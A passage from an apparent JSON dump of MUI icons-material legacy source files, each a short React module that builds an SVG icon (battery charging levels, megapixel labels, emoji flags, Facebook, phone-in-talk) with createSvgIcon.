    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M11.94 18.24c-.24.45-.94.28-.94-.24v-3.5H9.83c-.38 0-.62-.4-.44-.74l.14-.26H7v7.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13.5h-2.53l-2.53 4.74z\" /><path fillOpacity=\".3\" d=\"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33v8.17h2.53l2.53-4.74c.24-.45.94-.28.94.24v3.5h1.17c.38 0 .62.4.44.74l-.14.26H17V5.33C17 4.6 16.4 4 15.67 4z\" /></React.Fragment>\n, 'BatteryCharging50Rounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging50Sharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M14.47 13.5L11 20v-5.5H9l.53-1H7V22h10v-8.5h-2.53z\" /><path fillOpacity=\".3\" d=\"M17 4h-3V2h-4v2H7v9.5h2.53L13 7v5.5h2l-.53 1H17V4z\" /></React.Fragment>\n, 'BatteryCharging50Sharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging50TwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M14.47 13.5L11 20v-5.5H9l.53-1H7v7.17C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13.5h-2.53z\" /><path fillOpacity=\".3\" d=\"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v8.17h2.53L13 7v5.5h2l-.53 1H17V5.33C17 4.6 16.4 4 15.67 4z\" /></React.Fragment>\n, 'BatteryCharging50TwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging60.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V11h3.87L13 7v4h4V5.33C17 4.6 16.4 4 15.67 4z\" /><path d=\"M13 12.5h2L11 20v-5.5H9l1.87-3.5H7v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11h-4v1.5z\" /></React.Fragment>\n, 'BatteryCharging60');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging60Outlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V11h3.87L13 7v4h4V5.33C17 4.6 16.4 4 15.67 4z\" /><path d=\"M13 12.5h2L11 20v-5.5H9l1.87-3.5H7v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11h-4v1.5z\" /></React.Fragment>\n, 'BatteryCharging60Outlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging60Rounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V11h3.87l1.19-2.24c.24-.45.94-.28.94.24v2h4V5.33C17 4.6 16.4 4 15.67 4z\" /><path d=\"M13 12.5h1.17c.38 0 .62.4.44.74l-2.67 5c-.24.45-.94.28-.94-.24v-3.5H9.83c-.38 0-.62-.4-.44-.74L10.87 11H7v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11h-4v1.5z\" /></React.Fragment>\n, 'BatteryCharging60Rounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging60Sharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 4h-3V2h-4v2H7v7h3.87L13 7v4h4V4z\" /><path d=\"M13 12.5h2L11 20v-5.5H9l1.87-3.5H7v11h10V11h-4v1.5z\" /></React.Fragment>\n, 'BatteryCharging60Sharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging60TwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V11h3.87L13 7v4h4V5.33C17 4.6 16.4 4 15.67 4z\" /><path d=\"M13 12.5h2L11 20v-5.5H9l1.87-3.5H7v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11h-4v1.5z\" /></React.Fragment>\n, 'BatteryCharging60TwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging80.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V9h4.93L13 7v2h4V5.33C17 4.6 16.4 4 15.67 4z\" /><path d=\"M13 12.5h2L11 20v-5.5H9L11.93 9H7v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9h-4v3.5z\" /></React.Fragment>\n, 'BatteryCharging80');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging80Outlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V9h4.93L13 7v2h4V5.33C17 4.6 16.4 4 15.67 4z\" /><path d=\"M13 12.5h2L11 20v-5.5H9L11.93 9H7v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9h-4v3.5z\" /></React.Fragment>\n, 'BatteryCharging80Outlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging80Rounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V9h4.93l.13-.24c.24-.45.94-.28.94.24h4V5.33C17 4.6 16.4 4 15.67 4z\" /><path d=\"M13 12.5h1.17c.38 0 .62.4.44.74l-2.67 5c-.24.45-.94.28-.94-.24v-3.5H9.83c-.38 0-.62-.4-.44-.74L11.93 9H7v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9h-4v3.5z\" /></React.Fragment>\n, 'BatteryCharging80Rounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging80Sharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 4h-3V2h-4v2H7v5h4.93L13 7v2h4V4z\" /><path d=\"M13 12.5h2L11 20v-5.5H9L11.93 9H7v13h10V9h-4v3.5z\" /></React.Fragment>\n, 'BatteryCharging80Sharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging80TwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V9h4.93L13 7v2h4V5.33C17 4.6 16.4 4 15.67 4z\" /><path d=\"M13 12.5h2L11 20v-5.5H9L11.93 9H7v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9h-4v3.5z\" /></React.Fragment>\n, 'BatteryCharging80TwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging90.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V8h5.47L13 7v1h4V5.33C17 4.6 16.4 4 15.67 4z\" /><path d=\"M13 12.5h2L11 20v-5.5H9L12.47 8H7v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8h-4v4.5z\" /></React.Fragment>\n, 'BatteryCharging90');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging90Outlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V8h5.47L13 7v1h4V5.33C17 4.6 16.4 4 15.67 4z\" /><path d=\"M13 12.5h2L11 20v-5.5H9L12.47 8H7v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8h-4v4.5z\" /></React.Fragment>\n, 'BatteryCharging90Outlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging90Rounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V8h10V5.33C17 4.6 16.4 4 15.67 4z\" /><path d=\"M7 20.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8H7v12.67zm2.39-6.91l2.67-5c.24-.45.94-.28.94.24v3.5h1.17c.38 0 .62.4.44.74l-2.67 5c-.24.45-.94.28-.94-.24v-3.5H9.83c-.37 0-.62-.4-.44-.74z\" /></React.Fragment>\n, 'BatteryCharging90Rounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging90Sharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M17 4h-3V2h-4v2H7v4h5.47L13 7v1h4V4z\" /><path d=\"M13 12.5h2L11 20v-5.5H9L12.47 8H7v14h10V8h-4v4.5z\" /></React.Fragment>\n, 'BatteryCharging90Sharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/BatteryCharging90TwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V8h5.47L13 7v1h4V5.33C17 4.6 16.4 4 15.67 4z\" /><path d=\"M13 12.5h2L11 20v-5.5H9L12.47 8H7v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8h-4v4.5z\" /></React.Fragment>\n, 'BatteryCharging90TwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/EightteenMp.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1v5zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2v1.5zM10 5.5v6H8.5V7H7V5.5h3zm6.5 5c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4zm-3 0H15V9h-1.5v1.5zm0-2.5H15V6.5h-1.5V8zm2 6H17v1.5h-1.5z\" />\n, 'EightteenMp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/EightteenMpOutlined.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  [<path d=\"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5V14zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5v6zM15 14h1.5v1.5H15V14z\" key=\"0\" />,<path d=\"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V5h14v14z\" key=\"1\" />,<path d=\"M8.5 11.5H10v-6H7V7h1.5zm4.5 0h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H13c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1zm.5-5H15V8h-1.5V6.5zm0 2.5H15v1.5h-1.5V9z\" key=\"2\" />,]\n, 'EightteenMpOutlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/EightteenMpRounded.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  [<path d=\"M13.5 9H15v1.5h-1.5z\" key=\"0\" />,<path d=\"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM7.75 5.5H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75zm4.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v4.25zM12 10.5v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1zm6 5.5c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1V16z\" key=\"1\" />,<path d=\"M13.5 6.5H15V8h-1.5zM15 14h1.5v1.5H15z\" key=\"2\" />,]\n, 'EightteenMpRounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/EightteenMpSharp.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  [<path d=\"M13.5 9H15v1.5h-1.5zm0-2.5H15V8h-1.5z\" key=\"0\" />,<path d=\"M3 3v18h18V3H3zm9 2.5h4.5v6H12v-6zm-5 0h3v6H8.5V7H7V5.5zm5.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5v6zM18 17h-3v1.5h-1.5v-6H18V17z\" key=\"1\" />,<path d=\"M15 14h1.5v1.5H15z\" key=\"2\" />,]\n, 'EightteenMpSharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/EightteenMpTwoTone.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  [<path d=\"M13.5 6.5H15V8h-1.5zm0 2.5H15v1.5h-1.5z\" opacity=\".3\" key=\"0\" />,<path d=\"M5 19h14V5H5v14zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1zm-6-7c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1v-4zm-5-1h3v6H8.5V7H7V5.5zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6v-5z\" opacity=\".3\" key=\"1\" />,<path d=\"M15 14h1.5v1.5H15z\" opacity=\".3\" key=\"2\" />,<path d=\"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5V14zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5v6zM15 14h1.5v1.5H15V14z\" key=\"3\" />,<path d=\"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V5h14v14z\" key=\"4\" />,<path d=\"M8.5 11.5H10v-6H7V7h1.5zm4.5 0h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H13c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1zm.5-5H15V8h-1.5V6.5zm0 2.5H15v1.5h-1.5V9z\" key=\"5\" />,]\n, 'EightteenMpTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/EmojiFlags.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"m14 9-1-2H7V5.72c.6-.34 1-.98 1-1.72 0-1.1-.9-2-2-2s-2 .9-2 2c0 .74.4 1.38 1 1.72V21h2v-4h5l1 2h7V9h-6zm4 8h-4l-1-2H7V9h5l1 2h5v6z\" />\n, 'EmojiFlags');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/EmojiFlagsOutlined.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"m14 9-1-2H7V5.72c.6-.34 1-.98 1-1.72 0-1.1-.9-2-2-2s-2 .9-2 2c0 .74.4 1.38 1 1.72V21h2v-4h5l1 2h7V9h-6zm4 8h-4l-1-2H7V9h5l1 2h5v6z\" />\n, 'EmojiFlagsOutlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/EmojiFlagsRounded.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M19 9h-5l-.72-1.45c-.17-.34-.52-.55-.9-.55H7V5.72c.6-.34 1-.98 1-1.72 0-1.1-.9-2-2-2s-2 .9-2 2c0 .74.4 1.38 1 1.72V20c0 .55.45 1 1 1s1-.45 1-1v-3h5l.72 1.45c.17.34.52.55.89.55H19c.55 0 1-.45 1-1v-8c0-.55-.45-1-1-1zm-1 8h-4l-1-2H7V9h5l1 2h5v6z\" />\n, 'EmojiFlagsRounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/EmojiFlagsSharp.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"m14 9-1-2H7V5.72c.6-.34 1-.98 1-1.72 0-1.1-.9-2-2-2s-2 .9-2 2c0 .74.4 1.38 1 1.72V21h2v-4h5l1 2h7V9h-6zm4 8h-4l-1-2H7V9h5l1 2h5v6z\" />\n, 'EmojiFlagsSharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/EmojiFlagsTwoTone.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  [<path d=\"M12 9H7v6h6l1 2h4v-6h-5z\" opacity=\".3\" key=\"0\" />,<path d=\"m14 9-1-2H7V5.72c.6-.34 1-.98 1-1.72 0-1.1-.9-2-2-2s-2 .9-2 2c0 .74.4 1.38 1 1.72V21h2v-4h5l1 2h7V9h-6zm4 8h-4l-1-2H7V9h5l1 2h5v6z\" key=\"1\" />,]\n, 'EmojiFlagsTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/FacebookOutlined.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12c0 4.84 3.44 8.87 8 9.8V15H8v-3h2V9.5C10 7.57 11.57 6 13.5 6H16v3h-2c-.55 0-1 .45-1 1v2h3v3h-3v6.95c5.05-.5 9-4.76 9-9.95z\" />\n, 'FacebookOutlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/FacebookRounded.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12c0 4.84 3.44 8.87 8 9.8V15H8v-3h2V9.5C10 7.57 11.57 6 13.5 6H16v3h-2c-.55 0-1 .45-1 1v2h3v3h-3v6.95c5.05-.5 9-4.76 9-9.95z\" />\n, 'FacebookRounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/FacebookSharp.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12c0 4.84 3.44 8.87 8 9.8V15H8v-3h2V9.5C10 7.57 11.57 6 13.5 6H16v3h-2c-.55 0-1 .45-1 1v2h3v3h-3v6.95c5.05-.5 9-4.76 9-9.95z\" />\n, 'FacebookSharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/FacebookTwoTone.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12c0 4.84 3.44 8.87 8 9.8V15H8v-3h2V9.5C10 7.57 11.57 6 13.5 6H16v3h-2c-.55 0-1 .45-1 1v2h3v3h-3v6.95c5.05-.5 9-4.76 9-9.95z\" />\n, 'FacebookTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/FivteenMp.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1v5zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2v1.5zM10 5.5v6H8.5V7H7V5.5h3zM16.5 7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H12V10h3V9h-3V5.5h4.5V7zm-1 7H17v1.5h-1.5z\" />\n, 'FivteenMp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/FivteenMpOutlined.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  [<path d=\"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5V14zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5v6zM15 14h1.5v1.5H15V14z\" key=\"0\" />,<path d=\"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V5h14v14z\" key=\"1\" />,<path d=\"M8.5 11.5H10v-6H7V7h1.5zm8-1V9c0-.55-.45-1-1-1h-2V7h3V5.5H12V9h3v1h-3v1.5h3.5c.55 0 1-.45 1-1z\" key=\"2\" />,]\n, 'FivteenMpOutlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/FivteenMpRounded.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  [<path d=\"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM7.75 5.5H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75zm4.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v4.25zm-.5-7c0-.41.34-.75.75-.75H15V9h-2c-.55 0-1-.45-1-1V6.5c0-.55.45-1 1-1h2.75c.41 0 .75.34.75.75s-.34.75-.75.75H13.5v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1h-2.75c-.41 0-.75-.34-.75-.75zM18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1V16z\" key=\"0\" />,<path d=\"M15 14h1.5v1.5H15z\" key=\"1\" />,]\n, 'FivteenMpRounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/FivteenMpSharp.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  [<path d=\"M15 14h1.5v1.5H15z\" key=\"0\" />,<path d=\"M3 3v18h18V3H3zm9 7h3V9h-3V5.5h4.5V7h-3v1h3v3.5H12V10zM7 5.5h3v6H8.5V7H7V5.5zm5.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5v6zM18 17h-3v1.5h-1.5v-6H18V17z\" key=\"1\" />,]\n, 'FivteenMpSharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/FivteenMpTwoTone.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  [<path d=\"M5 19h14V5H5v14zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1zM12 10h3V9h-3V5.5h4.5V7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H12V10zM7 5.5h3v6H8.5V7H7V5.5zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6v-5z\" opacity=\".3\" key=\"0\" />,<path d=\"M15 14h1.5v1.5H15z\" opacity=\".3\" key=\"1\" />,<path d=\"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5V14zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5v6zM15 14h1.5v1.5H15V14z\" key=\"2\" />,<path d=\"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V5h14v14z\" key=\"3\" />,<path d=\"M8.5 11.5H10v-6H7V7h1.5zm8-1V9c0-.55-.45-1-1-1h-2V7h3V5.5H12V9h3v1h-3v1.5h3.5c.55 0 1-.45 1-1z\" key=\"4\" />,]\n, 'FivteenMpTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/PhoneInTalk.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.35-.11-.74-.03-1.02.24l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1zM19 12h2c0-4.97-4.03-9-9-9v2c3.87 0 7 3.13 7 7zm-4 0h2c0-2.76-2.24-5-5-5v2c1.66 0 3 1.34 3 3z\" />\n, 'PhoneInTalk');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/PhoneInTalkOutlined.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M15 12h2c0-2.76-2.24-5-5-5v2c1.66 0 3 1.34 3 3zm4 0h2c0-4.97-4.03-9-9-9v2c3.87 0 7 3.13 7 7zm1 3.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1zM5.03 5h1.5c.07.88.22 1.75.45 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79zM19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45v1.51z\" />\n, 'PhoneInTalkOutlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/PhoneInTalkRounded.js",
